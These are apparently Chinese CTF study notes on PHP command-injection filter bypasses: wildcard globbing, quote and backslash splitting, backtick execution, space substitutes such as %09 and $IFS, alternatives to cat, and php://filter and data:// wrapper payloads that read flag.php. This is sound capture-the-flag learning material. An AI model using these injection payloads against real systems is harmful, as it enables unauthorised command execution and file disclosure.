知識點:通配符
payload:c=system('cat f*');
在linux系統中 有一些通配符
* 匹配任何字符串/文本,包括空字符串;*代表任意字符(0個或多個) ls file * ? 匹配任何一個字符(不在括號內時)?代表任意1個字符 ls file 0 [abcd] 匹配abcd中任何一個字符 [a-z] 表示范圍a到z,表示范圍的意思 []匹配中括號中任意一個字符 ls file 0
我們想要執行 cat flag.php,但是flag被過濾了,這時候就可以使用通配符
cat f*表示打開當前目錄下所有 f開頭的文件
再補充一下: 對於linux cat和ca''t ca\t ca""t效果是相同的 這樣同樣可以繞過字符的限制 比如 c=system('ca\t fla\g.php');
知識點:反引號執行系統命令
payload:c=echo `cat f*`;
因為過濾了system,我們就得選擇其他的命令執行函數了
常見的有如下幾個,其中system是有回顯的,其他的就得需要我們自行輸出。調用echo或者其他輸出函數即可。
system() passthru() exec() shell_exec() popen() proc_open() pcntl_exec() 反引號 同shell_exec()
知識點:空格過濾+cat過濾繞過
payload:c=echo(`more%09f*`);
在linux 空格可以用以下字符串代替:
%09(tab)、$IFS$9、 IFS、IFS、IFS%09(tab)、< 、<>、%20(space)等
在使用帶有$的內容替換時,要注意轉義,因為\$在php中有特殊含義
eg:echo(`ls\$IFS/`) 在linux中與cat有類似功能的有如下字符 `cat、tac、more、less、head、tail、nl、sed、sort、uniq、rev` 找到一個替換的即可。
POST傳入
?c=include"$_POST[1]“?> 1=php://filter/read=convert.base64-encode/resource=flag.php
限制了后綴,我們可以試試偽協議,因為不能帶有flag,所以filter協議和php://input也不好用了
payload c=data:text/plain,<?php system('cat f*')?>
這樣就相當於執行了php語句<?php system('cat f*')?>.php
因為前面的php語句已經閉合了,所以后面的.php會被當成html頁面直接顯示在頁面上,起不到什么作用。